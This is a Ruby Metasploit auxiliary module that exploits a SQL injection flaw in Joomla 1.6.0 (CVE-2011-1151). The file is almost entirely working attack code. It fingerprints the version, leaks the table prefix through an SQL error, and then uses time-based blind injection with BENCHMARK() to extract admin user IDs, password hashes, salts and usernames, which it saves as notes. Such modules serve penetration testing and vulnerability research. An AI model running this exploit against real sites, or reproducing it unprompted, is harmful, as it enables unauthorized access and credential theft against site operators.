# Requirements
require 'msf/core'

# Class declaration
class Metasploit3 < Msf::Auxiliary

  # Includes
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient  

  # Initialize module
  def initialize(info = {})
  
    # Initialize information
    super(update_info(info,
      'Name'           => 'Joomla 1.6.0 // SQL Injection Exploit',
      'Description'    => %q{
      A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks 
      against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract
      admin credentials, and then store those credentials within the notes_db.
  
      The vulnerability is due to a validation issue in /components/com_content/models/category.php
      that erroneously uses the "string" type whenever filtering the user supplied input. This issue 
      was fixed by performing a whitelist check of the user supplied order data against the allowed 
      order types, and also escaping the input.

      NOTES:
      ------------------------------------------------
      * Do not set the BMCT option too high!
      * Do not set the BMCT option too low either ...
      * A delay of about three to five seconds is ideal
      * Increase BMRC if you have issues with reliability
      },
      'Author'         => 
        [ 
          # Exploit Only (Bug credit to Aung Khant)
          'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
        ],
      'License'        =>  MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-1151' ],
          [ 'http://0x6a616d6573.blogspot.com/2011/04/joomla-160-sql-injection-analysis-and.html' ],
        ],
      'Privileged'     =>  false,
      'Platform'       => 'php',
      'Arch'           =>  ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'March 17, 2011',
      'DefaultTarget'  => 0 ))

      register_options(
        [
          # Required
          OptString.new('JDIR', [true, 'Joomla directory', '/']),
        
          # The number of function iterations to run during the benchmark
          OptInt.new('BMCT', [true, 'The number of iterations performed by BENCHMARK()', 500000 ]),
          
          # This is the benchmark delay threshold (in seconds)
          OptInt.new('BMDF', [true, 'The difference, in seconds, of a delayed request vs a normal request', 3 ]),
                    
          # The number of benchmark tests to make during each data request.
          # This number may be increased for accuracy if you have problems.
          OptInt.new('BMRC', [true, 'The number of benchmark requests to perform per operation (Speed vs Accuracy)', 1 ]),
          
          # Optional
          OptBool.new(  'DBUG', [false, 'Verbose output? (Debug)' ,  nil ]),
          OptString.new('AGNT', [false, 'User Agent Info'         , 'Mozilla/5.0' ]),

          # Database prefix
          OptString.new('PREF', [false, 'Joomla atabase prefixt',  'jos_' ]),
          
          # Admin account extraction limit
          OptInt.new('ALIM', [false, 'The number of admin accounts to extract (default is all available accounts)', nil ]),
              
          # Specific admin user ID to target    
          OptInt.new('AUID', [false, 'Target a specific admin user id', nil ]),      
          
          # URI used to trigger the bug
          OptString.new('JURI', [false, 'URI to trigger bug', "index.php/extensions/components/" ]),
          
          # Query used to trigger bug
          OptString.new('JQRY', [false, 'URI to trigger bug', "filter_order_Dir=1&filter_order=" ]),

        ], self.class)
  end
  #################################################
  
  # Extract "Set-Cookie"
  def init_cookie(data, cstr = true)
  
    # Raw request? Or cookie data specifically?
    data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data

    # Beginning
    if ( data )
      
      # Break them apart
      data = data.split(', ')
      
      # Initialize
      ctmp = ''
      tmps = {}
      
      # Parse cookies
      data.each do | x |
      
        # Remove extra data
        x = x.split(';')[0]
      
        # Seperate cookie pairs
        if ( x =~ /([^;\s]+)=([^;\s]+)/im )
        
          # Key
          k = $1
          
          # Val
          v = $2
        
          # Valid cookie value?
          if ( v.length() > 0 )
          
            # Build cookie hash
            tmps[k] = v
            
            # Report cookie status
            print_status("Got Cookie: #{k} => #{v}");
          end
        end
      end
      
      # Build string data
      if ( cstr == true )
        
        # Loop
        tmps.each do |x,y| 
        
          # Cookie key/value
          ctmp << "#{x}=#{y};" 
        end
        
        # Assign
        tmps['cstr'] = ctmp
      end
      
      # Return
      return tmps
    else
      # Something may be wrong
      init_debug("No cookies within the given response")
    end
  end
  
    #################################################
  
  # Simple debugging output
  def init_debug(resp, exit = 0)
  
    # is DBUG set? Check it
    if ( datastore['DBUG'] )
    
      # Print debugging data
      print_status("######### DEBUG! ########")
      pp resp
      print_status("#########################")
    end
    
    # Continue execution
    if ( exit.to_i > 0 )
    
      # Exit
      exit(0)
    end
    
  end
  
  #################################################
  
  # Generic post wrapper
  def http_post(url, data, headers = {}, timeout = 15)
  
    # Protocol
    proto = datastore['SSL'] ? 'https': 'http' 
  
    # Determine request url
    url = url.length ? url: ''
    
    # Determine User-Agent
    headers['User-Agent'] = headers['User-Agent']  ? 
    headers['User-Agent'] : datastore['AGNT']
    
    # Determine Content-Type
    headers['Content-Type'] = headers['Content-Type'] ? 
    headers['Content-Type'] : "application/x-www-form-urlencoded"
    
    # Determine Content-Length
    headers['Content-Length'] = data.length
    
    # Determine Referer
    headers['Referer'] = headers['Referer']        ? 
    headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

    # Delete all the null headers
    headers.each do | hkey, hval |
    
      # Null value
      if ( !hval )
      
        # Delete header key
        headers.delete(hkey)
      end
    end

    # Send request
    resp = send_request_raw(
    {
      'uri'     => datastore['JDIR'] + url,
      'method'  => 'POST',
      'data'    => data,
      'headers' => headers
    }, 
    timeout  )
        
    # Returned
    return resp
    
  end
  
  #################################################
  
  # Generic post multipart wrapper  
  def http_post_multipart(url, data, headers = {}, timeout = 15)
    
    # Boundary string
    bndr =  Rex::Text.rand_text_alphanumeric(8)
    
    # Protocol
    proto = datastore['SSL'] ? 'https': 'http' 
  
    # Determine request url
    url = url.length ? url: ''
    
    # Determine User-Agent
    headers['User-Agent'] = headers['User-Agent']  ? 
    headers['User-Agent'] : datastore['AGNT']
    
    # Determine Content-Type
    headers['Content-Type'] = headers['Content-Type'] ? 
    headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
    
    # Determine Referer
    headers['Referer'] = headers['Referer']        ? 
    headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

    # Delete all the null headers
    headers.each do | hkey, hval |
    
      # Null value
      if ( !hval )
      
        # Delete header key
        headers.delete(hkey)
      end
    end

    # Init
    temp = ''
    
    # Parse form values
    data.each do |name, value|
    
      # Hash means file data
      if ( value.is_a?(Hash) )

        # Validate form fields
        filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
        contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
        mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
        encoding = value['encoding'] ? value['encoding']: "Binary"

        # Build multipart data
        temp << "--#{bndr}\r\n"
        temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
        temp << "Content-Type: #{mimetype}\r\n"
        temp << "Content-Transfer-Encoding: #{encoding}\r\n"
        temp << "\r\n"
        temp << "#{contents}\r\n"
        
      else
        # Build multipart data
        temp << "--#{bndr}\r\n"
        temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
        temp << "\r\n"
        temp << "#{value}\r\n"
      end
    end
    
    # Complete the form data
    temp << "--#{bndr}--\r\n"
    
    # Assigned
    data = temp  
    
    # Determine Content-Length
    headers['Content-Length'] = data.length
    
    # Send request
    resp = send_request_raw(
    {
      'uri'     => datastore['JDIR'] + url,
      'method'  => 'POST',
      'data'    => data,
      'headers' => headers
    }, 
    timeout)
    
    # Returned
    return resp
    
  end
  
  #################################################
  
  # Generic get wrapper
  def http_get(url, headers = {}, timeout = 15)
  
    # Protocol
    proto = datastore['SSL'] ? 'https': 'http' 
  
    # Determine request url
    url = url.length ? url: ''
    
    # Determine User-Agent
    headers['User-Agent'] = headers['User-Agent']  ? 
    headers['User-Agent'] : datastore['AGNT']

    # Determine Referer
    headers['Referer'] = headers['Referer']        ? 
    headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

    # Delete all the null headers
    headers.each do | hkey, hval |
    
      # Null value // Also, remove post specific data, due to a bug ...
      if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
      
        # Delete header key
        headers.delete(hkey)
      end
    end
    
    # Send request
    resp = send_request_raw({
      'uri'     => datastore['JDIR'] + url,
      'headers' => headers,
      'method'  => 'GET',
    }, timeout)
    
    # Returned
    return resp
    
  end
    
  #################################################

  # Used to perform benchmark querys
  def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )
  
    # Init
    wait = 0
    
    # Defaults
    table = table ? table: 'users'
    
    # SQL Injection string used to trigger the MySQL BECNHMARK() function
    sqli = Rex::Text.uri_encode("( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),")
    
    # Number of tests to run. We run this
    # amount of tests and then look for a
    # median value that is greater than
    # the benchmark difference.
    tnum = tnum ? tnum: datastore['BMRC']
    
    # Run the tests
    tnum.to_i.times do | i |
    
      # Start time
      bmc1 = Time.now.to_i
      
      # Make the request
      init_debug(http_post(datastore['JURI'], "#{datastore['JQRY']}#{sqli}"))
    
      # End time
      bmc2 = Time.now.to_i
      
      # Total time
      wait += bmc2 - bmc1
    end

    # Return the results
    return ( wait.to_i / tnum.to_i )
    
  end
  
  #################################################
  
  def get_users_data(snum, slim, cset, sqlf, sqlw)

      # Start time
      tot1 = Time.now.to_i
      
      # Initialize
      reqc = 0
      retn = String.new
        
      # Extract salt
      for i in snum..slim
      
        # Offset position
        oset = ( i - snum ) + 1
  
        # Loop charset
        for cbit in cset
  
          # Test character
          cbit.each do | cchr |
  
            # Start time (overall)
            bmc1 = Time.now.to_i
  
            # Benchmark query
            bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "users", sqlw, datastore['BMRC'])
  
            # Noticable delay? We must have a match! ;)
            if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
  
              # Verbose
              print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
  
              # Append chr
              retn << cchr
  
              # Exit loop
              break
            end 
  
            # Counter
            reqc += 1
  
          end # each  
        end # for
  
        # Host not vulnerable?
        if ( oset != retn.length )
          
          # Failure
          print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")
          return nil
        end
      end # for
  
      # End time (total)
      tot2 = Time.now.to_i
  
      # Benchmark totals
      tot3 = tot2 - tot1
  
      # Verbose
      print_status("Found data: #{retn}")
      print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")
      
      # Return
      return retn
  end
  
  #################################################
  
  def run

    # Numeric test string
    tstr = Time.now.to_i.to_s

    # MD5 test string
    tmd5 = Rex::Text.md5(tstr)

    #################################################
    # STEP 01 // Attempt to extract Joomla version
    #################################################

    # Verbose
    print_status("Attempting to determine Joomla version")

    # Banner grab request
    resp = http_get("index.php")

    # Extract Joomla version information
    if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )

      # Version
      vers = $1.strip 

      # Version "parts"
      ver1, ver2, ver3 = vers.split(/\./)

      # Only if 1.6.0 aka 1.6
      if ( ver2.to_i != 6 || ver3 )

        # Exploit failed
        print_error("Only Joomla versions 1.6.0 and earlier are vulnerable")
        print_error("Proceed with extreme caution, as the exploit may fail")
        init_debug(resp)
      else

        # Verbose
        print_status("The target is running Joomla version : #{vers}")
      end
    else
    
      # Verbose
      print_error("Unable to determine Joomla version ...")
    end

    #################################################
    # STEP 02 // Trigger an SQL error in order to get
    # the database table prefix for future use.
    #################################################

    # Trigger an SQL error
    resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{tmd5}")

    # Attempt to extract the table prefix
    if ( resp.body =~ /ORDER BY \s*#{tmd5}/ && resp.body =~ /FROM ([^\s]*)content / )

      # Prefix
      datastore['PREF'] = $1

      # Verbose
      print_status("Host appears vulnerable!")
      print_status("Got database table prefix : #{datastore['PREF']}")
    end

    #################################################
    # STEP 03 // Calculate BENCHMARK() response times
    #################################################

    # Verbose
    print_status("Calculating target response times")
    print_status("Benchmarking #{datastore['BMRC']} normal requests")

    # Normal request median (globally accessible)
    datastore['BMC0'] = sql_benchmark("1=2")
    
    # Verbose    
    print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
    print_status("Benchmarking #{datastore['BMRC']} delayed requests")

    # Delayed request median
    bmc1 = sql_benchmark("1=1")

    # Verbose
    print_status("Delayed request avg: #{bmc1.to_s} seconds")

    # Benchmark totals
    bmct = bmc1 - datastore['BMC0']

    # Delay too small. The host may not be
    # vulnerable. Try increasing the BMCT.
    if ( bmct.to_i < datastore['BMDF'].to_i )

      # Verbose
      print_error("Either your benchmark threshold is too small, or host is not vulnerable")
      print_error("To increase the benchmark threshold adjust the value of the BMDF option")
      print_error("To increase the expression iterator adjust the value of the BMCT option")
      return
    else
      # Host appears exploitable
      print_status("Request Difference: #{bmct.to_s} seconds")
    end
    
    atot = 0     # Total admins
    scnt = 0     # Step counter
    step = 10    # Step increment
    slim = 10000 # Step limit
    
    # 42 is the hard coded base uid within Joomla ... 
    # ... and the answer to the ultimate question! ;]
    snum = 42
    
    # No user supplied limit?
    if ( datastore['ALIM'].to_i == 0 && datastore['AUID'].to_i == 0 )
    
      # Verbose
      print_status("Calculating total number of administrators")
      
      # Check how many admin accounts are in the database
      for i in 0..slim do
  
        # Benchmark 
        bmcv = sql_benchmark("1", "user_usergroup_map", "group_id=8 LIMIT #{i.to_s},1", datastore['BMRC'])
  
        # If we do not have a delay, then we have reached the end ...
        if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )
  
          # Range
          atot = i
          
          # Verbose
          print_status("Successfully confirmed #{atot.to_s} admin accounts")
  
          # Exit loop
          break
        end 
      end
    else

      # User supplied limit
      atot = datastore['AUID'] ? 1: datastore['ALIM']
    end
    
    #################################################
    # STEP 04 // Attempting to find a valid admin id
    #################################################      
    
    # Loops until limit
    while ( snum < slim && scnt < atot )
    
      # Specific admin user ID?
      if ( datastore['AUID'].to_i == 0 )

        # Verbose
        print_status("Attempting to find a valid admin ID")
        
        # Verbose
        print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
    
        # Here we attempt to find a valid admin user id by incrementally searching the table
        # "user_usergroup_map" for users belonging to the user group 8, which is, by default
        # the admin user group. First we step through 10 at a time until we pass up a usable
        # admin id, then we step back by #{step} and increment by one until we have a match.
        for i in snum.step(slim, step)
    
          # Benchmark 
          bmcv = sql_benchmark("#{i} > user_id", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])
    
          # Noticable delay? We must have a match! ;)
          if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
    
            # Range
            itmp = i
    
            # Exit loop
            break
          else
            
            # Out of time ..
            if ( i == slim )
            
              # Failure
              print_error("Unable to find a valid user id. Exploit failed!")
              return
            end
            
          end 
        end
    
        # Jump back by #{step} and increment by one
        for i in ( itmp - step ).upto(( itmp + step ))
    
          # Benchmark 
          bmcv = sql_benchmark("user_id = #{i}", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])
    
          # Noticable delay? We must have a match! ;)
          if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
    
            # UserID
            auid = i
    
            # Verbose
            print_status("Found a valid admin account uid : #{auid.to_s}")
            
            # Step Counter
            scnt += 1
    
            # Exit loop
            break
          else
            
            # Out of time ..
            if ( i == ( itmp + step ) )
            
              # Failure
              print_error("Unable to find a valid user id. Exploit failed!")
              return
            end
          end 
        end
      else
        
        # Specific admin id target
        auid = datastore['AUID']
        print_status("Targeting admin user id: #{auid.to_s}")
      end
      
      #################################################
      # These are the charsets used for the enumeration
      # operations and can be easily expanded if needed
      #################################################
  
      # Hash charset a-f0-9
      hdic = [ ('a'..'f'), ('0'..'9') ]
  
      # Salt charset a-zA-Z0-9
      sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
      
      # Username charset
      udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
    
      #################################################
      # STEP 05 // Attempt to extract admin pass hash
      #################################################
  
      # Verbose
      print_status("Attempting to gather admin password hash")
      
      # Get pass hash
      if ( !( hash = get_users_data(
              1,                # Length Start
              32,               # Length Maximum
              hdic,             # Charset Array
              "password",       # SQL Field name
              "id=#{auid.to_s}" # SQL Where data
              ) ) )
              
        # Failure
        print_error("Unable to gather admin pass hash. Exploit failed!!")
        return
      end
      
      #################################################
      # STEP 06 // Attempt to extract admin pass salt
      #################################################
      
      # Verbose
      print_status("Attempting to gather admin password salt")
      
      # Get pass salt
      if ( !( salt = get_users_data(
              34,               # Length Start
              65,               # Length Maximum
              sdic,             # Charset Array
              "password",       # SQL Field name
              "id=#{auid.to_s}" # SQL Where data
              ) ) )
              
        # Failure
        print_error("Unable to gather admin pass salt. Exploit failed!!")
        return
      end


      #################################################
      # STEP 08 // Attempt to extract admin username
      #################################################
      
      # Verbose
      print_status("Attempting to determine target username length")
      
      # Hard limit is 150
      for i in 1.upto(150)
  
        # Benchmark 
        bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", "users", "id=#{auid.to_s}", datastore['BMRC'])
  
        # Noticable delay? We must have a match! ;)
        if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
  
          # Length
          ulen = i
          
          # Verbose
          print_status("The username is #{i.to_s} characters long")
  
          # Exit loop
          break
        end 
      end
  
      # Verbose
      print_status('Gathering admin username')
  
      # Get pass salt
      if ( !( user = get_users_data(
              1,                # Length Start
              ulen,             # Length Maximum
              udic,             # Charset Array
              "username",       # SQL Field name
              "id=#{auid.to_s}" # SQL Where data
              ) ) )
              
        # Failure
        print_error("Unable to gather admin user name. Exploit failed!!")
        return
      end
      
      # Verbose
      print_status("USER: #{user} (ID: #{auid.to_s})")
      print_status("HASH: #{hash}")
      print_status("SALT: #{salt}")
      print_status("Inserting credentials into the note database ...")
      
      # Note data
      ndat = {
      
          # Joomla directory
            "JDIR" => datastore['JDIR'],
          
          # Admin ID
          "AUID" => auid,
          
          # Admin User
          "USER" => user,
          
          # Admin Hash
          "HASH" => hash,
          
          # Admin Salt
          "SALT" => salt,
           }

      # Save results            
            report_note(
                      :host   => datastore['RHOST'],
                      :proto  => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS',
                      :port   => datastore['RPORT'],
                      :type   => "Joomla Admin Credentials",
                      :data   => ndat
                    )
    end # while
  end
end